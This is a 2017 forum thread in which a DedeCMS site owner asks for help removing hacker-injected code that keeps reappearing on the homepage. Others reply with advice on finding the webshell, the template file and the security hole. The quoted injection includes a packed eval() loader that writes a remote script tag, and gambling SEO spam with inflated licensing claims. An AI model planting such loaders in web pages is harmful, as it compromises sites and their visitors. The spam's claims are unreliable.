黑帽联盟

标题: 织梦网站被黑了，首页看到一串代码，但是删不掉。 [打印本页]

作者: fish 时间: 2017-8-25 11:42
标题: 织梦网站被黑了，首页看到一串代码，但是删不掉。
<noscript>
<title>电子游戏大全|电子游戏大全代理|电子游戏大全官网|电子游戏下载|mg电子游戏平台大全</title>
<meta name="keywords" content="电子游戏大全,电子游戏大全代理,电子游戏大全官网,电子游戏下载,mg电子游戏平台大全" />
<meta name="description" content="电子游戏大全【www.o158.cn】携手顶级博彩评级网1000亿巨资打造最顶级的电子游戏大全平台,这里收集上百家资质一流的电子游戏大全平台,均通过菲律宾博彩监察局合法经营认证,并交纳86亿的保证金,尊敬的玩家尽可放心的电子游戏大全游戏！电子游戏大全,电子游戏大全代理,电子游戏大全官网,电子游戏下载,mg电子游戏平台大全。" />
</noscript>
<script type = "text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('3.4("<0 1=2://5.8.9/6.7></0>");',10,10,'script|src|http|document|writeln|www|main2|js|5121188|com'.split('|'),0,{}))
</script>

一更新网站，上面的代码就恢复了。

作者: 权利的游戏 时间: 2017-8-25 23:19
你这个查一下你的全局的相关文件，你一更新文章，就出现，就出现在那个全局文件。这个还得找到那个罪魁祸首，把那个shell文件给删除了。再或者重新装网站，备份数据，看下你的漏洞在何处

作者: feihu 时间: 2017-8-25 23:23
最下面的那段代码被加密了，之前定位分析过这类的加密代码，远程js文件。关键找到那个关键文件，删掉文件。补漏洞

作者: 璀璨李0804 时间: 2017-8-26 19:19
我是进来学习。

作者: winking 时间: 2017-9-26 17:04
在你模板里吧，更新就出来了 index.htm

作者: qw4530847 时间: 2017-10-14 17:31
牛逼了吧解决了吗

作者: qiaoqingyi 时间: 2017-11-4 18:36
检查是不是权限问题···

欢迎光临黑帽联盟 (https://bbs.cnblackhat.com/)